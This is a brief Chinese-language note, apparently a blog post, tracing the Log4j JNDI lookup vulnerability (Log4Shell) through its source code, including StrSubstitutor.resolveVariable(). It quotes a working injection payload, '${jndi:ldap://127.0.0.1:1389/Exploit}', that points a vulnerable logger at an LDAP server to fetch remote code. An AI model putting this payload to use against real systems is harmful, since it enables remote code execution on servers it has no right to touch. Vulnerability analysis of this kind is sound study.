log4j反序列化源码分析

一句话分析

整体的返序列化流程我觉得分为三部分:
1. log4j本身的一些日志等级判断,配置判断和一些对象的初始化
2. 从log.info("当前用户为:{}","${jndi:ldap://127.0.0.1:1389/Exploit}")中提取出${jndi:ldap://127.0.0.1:1389/Exploit
3. 根据prefix即poc的jndi找到对应的StrLookup(log4j自己写的对象),并调用lookup()方法

一些小建议

StrSubstitutor.resolveVariable() 这个方法是递归方法,很绕容易跟晕,我觉得他就是字符处理获取到这的:jndi:ldap://127.0.0.1:1389/Exploit

代码的整个流程吧

脑图自取最后吧